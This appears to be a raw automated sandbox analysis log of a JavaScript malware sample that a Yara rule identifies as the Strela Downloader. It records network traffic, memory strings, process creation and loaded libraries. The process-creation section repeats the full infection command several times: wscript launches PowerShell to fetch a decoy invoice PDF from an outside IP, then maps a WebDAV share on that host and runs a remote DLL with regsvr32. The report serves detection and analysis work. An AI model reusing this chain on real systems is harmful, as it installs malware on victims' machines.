HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1502970209.00000237CA42F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1600752870.000002494BBBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1602546219.000002494BBBD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1600752870.000002494BBBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/#t
Source: net.exe, 00000007.00000002.1602546219.000002494BBBD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1600752870.000002494BBBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888//t
Source: net.exe, 00000007.00000002.1602470375.000002494BB88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/KI
Source: net.exe, 00000007.00000002.1602546219.000002494BBBD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1600752870.000002494BBBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Sw
Source: svchost.exe, 00000009.00000002.2791804617.000002946E411000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1601802273.000002946E2C0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3508, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 10266121931448610316.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/54@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2960:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e30a3eyj.2po.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10266121931448610316.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1616,i,13284928006663200886,9743966577043806291,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1616,i,13284928006663200886,9743966577043806291,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
